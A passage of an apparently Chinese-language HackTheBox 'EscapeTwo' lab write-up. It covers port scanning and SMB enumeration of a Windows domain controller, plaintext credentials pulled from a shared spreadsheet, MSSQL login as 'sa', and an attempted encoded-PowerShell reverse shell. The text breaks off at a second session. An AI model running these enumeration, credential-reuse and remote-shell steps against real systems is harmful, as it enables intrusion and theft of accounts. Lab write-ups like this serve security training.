EscapeTwo
信息
Difficulty: Easy
Operating System: Windows
Machine Information
As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su
正如现实生活中的 Windows 渗透测试中常见的那样,您将从以下账户的凭据开始进行此测试:
rose / KxEPkKe6R8su
信息搜集
┌──(randark ㉿ kali)-[~]
└─$ sudo ./tools/fscan-1.8.4/fscan -h 10.10.11.51
start infoscan
10.10.11.51:135 open
10.10.11.51:445 open
10.10.11.51:139 open
10.10.11.51:1433 open
10.10.11.51:88 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo
[*]10.10.11.51
[->]DC01
[->]10.10.11.51
已完成 5/5
[*] 扫描结束, 耗时: 58.843735496s
┌──(randark ㉿ kali)-[~]
└─$ sudo nmap -v --min-rate=2000 -A -p- 10.10.11.51
Nmap scan report for bogon (10.10.11.51)
Host is up (0.11s latency).
Not shown: 65509 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-03 00:46:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-03T00:47:55+00:00; -18m55s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
|_SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
|_SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
|_ssl-date: 2025-04-03T00:47:55+00:00; -18m55s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2025-04-03T00:47:55+00:00; -18m55s from scanner time.
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-03T00:40:46
| Not valid after: 2055-04-03T00:40:46
| MD5: dc66:46d4:ae3f:df90:9eb8:8128:8bbc:2fbd
|_SHA-1: 00a2:38e8:66b1:2bc0:6476:f7ce:8551:8126:d81d:b51f
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
|_SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
|_ssl-date: 2025-04-03T00:47:55+00:00; -18m55s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
|_SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
|_ssl-date: 2025-04-03T00:47:55+00:00; -18m55s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49722/tcp open msrpc Microsoft Windows RPC
49743/tcp open msrpc Microsoft Windows RPC
49804/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
在扫描结果中得到两个主机名,将其添加到 /etc/hosts
- DC01.sequel.htb
- sequel.htb
Windows SMB 探测
┌──(randark ㉿ kali)-[~]
└─$ crackmapexec smb sequel.htb -u "rose" -p "KxEPkKe6R8su" --rid-brute
SMB sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB sequel.htb 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB sequel.htb 445 DC01 [+] Brute forcing RIDs
SMB sequel.htb 445 DC01 498: SEQUEL\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB sequel.htb 445 DC01 500: SEQUEL\Administrator (SidTypeUser)
SMB sequel.htb 445 DC01 501: SEQUEL\Guest (SidTypeUser)
SMB sequel.htb 445 DC01 502: SEQUEL\krbtgt (SidTypeUser)
SMB sequel.htb 445 DC01 512: SEQUEL\Domain Admins (SidTypeGroup)
SMB sequel.htb 445 DC01 513: SEQUEL\Domain Users (SidTypeGroup)
SMB sequel.htb 445 DC01 514: SEQUEL\Domain Guests (SidTypeGroup)
SMB sequel.htb 445 DC01 515: SEQUEL\Domain Computers (SidTypeGroup)
SMB sequel.htb 445 DC01 516: SEQUEL\Domain Controllers (SidTypeGroup)
SMB sequel.htb 445 DC01 517: SEQUEL\Cert Publishers (SidTypeAlias)
SMB sequel.htb 445 DC01 518: SEQUEL\Schema Admins (SidTypeGroup)
SMB sequel.htb 445 DC01 519: SEQUEL\Enterprise Admins (SidTypeGroup)
SMB sequel.htb 445 DC01 520: SEQUEL\Group Policy Creator Owners (SidTypeGroup)
SMB sequel.htb 445 DC01 521: SEQUEL\Read-only Domain Controllers (SidTypeGroup)
SMB sequel.htb 445 DC01 522: SEQUEL\Cloneable Domain Controllers (SidTypeGroup)
SMB sequel.htb 445 DC01 525: SEQUEL\Protected Users (SidTypeGroup)
SMB sequel.htb 445 DC01 526: SEQUEL\Key Admins (SidTypeGroup)
SMB sequel.htb 445 DC01 527: SEQUEL\Enterprise Key Admins (SidTypeGroup)
SMB sequel.htb 445 DC01 553: SEQUEL\RAS and IAS Servers (SidTypeAlias)
SMB sequel.htb 445 DC01 571: SEQUEL\Allowed RODC Password Replication Group (SidTypeAlias)
SMB sequel.htb 445 DC01 572: SEQUEL\Denied RODC Password Replication Group (SidTypeAlias)
SMB sequel.htb 445 DC01 1000: SEQUEL\DC01$ (SidTypeUser)
SMB sequel.htb 445 DC01 1101: SEQUEL\DnsAdmins (SidTypeAlias)
SMB sequel.htb 445 DC01 1102: SEQUEL\DnsUpdateProxy (SidTypeGroup)
SMB sequel.htb 445 DC01 1103: SEQUEL\michael (SidTypeUser)
SMB sequel.htb 445 DC01 1114: SEQUEL\ryan (SidTypeUser)
SMB sequel.htb 445 DC01 1116: SEQUEL\oscar (SidTypeUser)
SMB sequel.htb 445 DC01 1122: SEQUEL\sql_svc (SidTypeUser)
SMB sequel.htb 445 DC01 1128: SEQUEL\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB sequel.htb 445 DC01 1129: SEQUEL\SQLRUserGroupSQLEXPRESS (SidTypeAlias)
SMB sequel.htb 445 DC01 1601: SEQUEL\rose (SidTypeUser)
SMB sequel.htb 445 DC01 1602: SEQUEL\Management Department (SidTypeGroup)
SMB sequel.htb 445 DC01 1603: SEQUEL\Sales Department (SidTypeGroup)
SMB sequel.htb 445 DC01 1604: SEQUEL\Accounting Department (SidTypeGroup)
SMB sequel.htb 445 DC01 1605: SEQUEL\Reception Department (SidTypeGroup)
SMB sequel.htb 445 DC01 1606: SEQUEL\Human Resources Department (SidTypeGroup)
SMB sequel.htb 445 DC01 1607: SEQUEL\ca_svc (SidTypeUser)
尝试 列出共享目录
┌──(randark ㉿ kali)-[~]
└─$ smbclient -U rose -L 10.10.11.51
Password for [WORKGROUP\rose]:
Sharename Type Comment
--------- ---- -------
Accounting Department Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.51 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
看一下 Accounting Department 这个共享有什么东西
┌──(randark ㉿ kali)-[~]
└─$ smbclient //10.10.11.51/'Accounting Department' -U rose
Password for [WORKGROUP\rose]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Jun 9 18:52:21 2024
.. D 0 Sun Jun 9 18:52:21 2024
accounting_2024.xlsx A 10217 Sun Jun 9 18:14:49 2024
accounts.xlsx A 6780 Sun Jun 9 18:52:07 2024
6367231 blocks of size 4096. 928869 blocks available
将两个 xlsx 表格文件下载下来查看
smb: \> get accounting_2024.xlsx
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (26.8 KiloBytes/sec) (average 26.8 KiloBytes/sec)
smb: \> get accounts.xlsx
getting file \accounts.xlsx of size 6780 as accounts.xlsx (18.4 KiloBytes/sec) (average 22.7 KiloBytes/sec)
但是出于未知原因,下载得到的 xlsx 文件存在有数据块错误

手动进行修复之后,在 accounts.xlsx 文件中得到以下凭据
| First Name | Last Name | Username | Password | |
|---|---|---|---|---|
| Angela | Martin | angela@sequel.htb | angela | 0fwz7Q4mSpurIt99 |
| Oscar | Martinez | oscar@sequel.htb | oscar | 86LxLBMgEWaKUnBG |
| Kevin | Malone | kevin@sequel.htb | kevin | Md9Wlq1E5bZnVDVo |
| NULL | NULL | sa@sequel.htb | sa | MSSQLP@ssw0rd! |
Windows Mssql
结合扫描到的 mssql 服务,以及泄露的 sa@sequel.htb 凭据,尝试登录 mssql 服务
┌──(randark ㉿ kali)-[~]
└─$ netexec mssql sequel.htb -u sa -p MSSQLP@ssw0rd!
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing WMI protocol database
[*] Initializing MSSQL protocol database
[*] Initializing NFS protocol database
[*] Initializing VNC protocol database
[*] Initializing FTP protocol database
[*] Copying default configuration file
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [-] sequel.htb\sa:MSSQLP@ssw0rd! (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')
┌──(randark ㉿ kali)-[~]
└─$ netexec mssql sequel.htb -u sa -p MSSQLP@ssw0rd! --local-auth
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
尝试基于 mssql 服务反弹 shell
# Session 1
┌──(randark ㉿ kali)-[~]
└─$ netexec mssql sequel.htb -u sa -p MSSQLP@ssw0rd! --local-auth -x 'powershell -e J.........pAA=='
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [-] Execute command failed, error: 'NXCAdapter' object has no attribute 'merge_extra'
# Session 2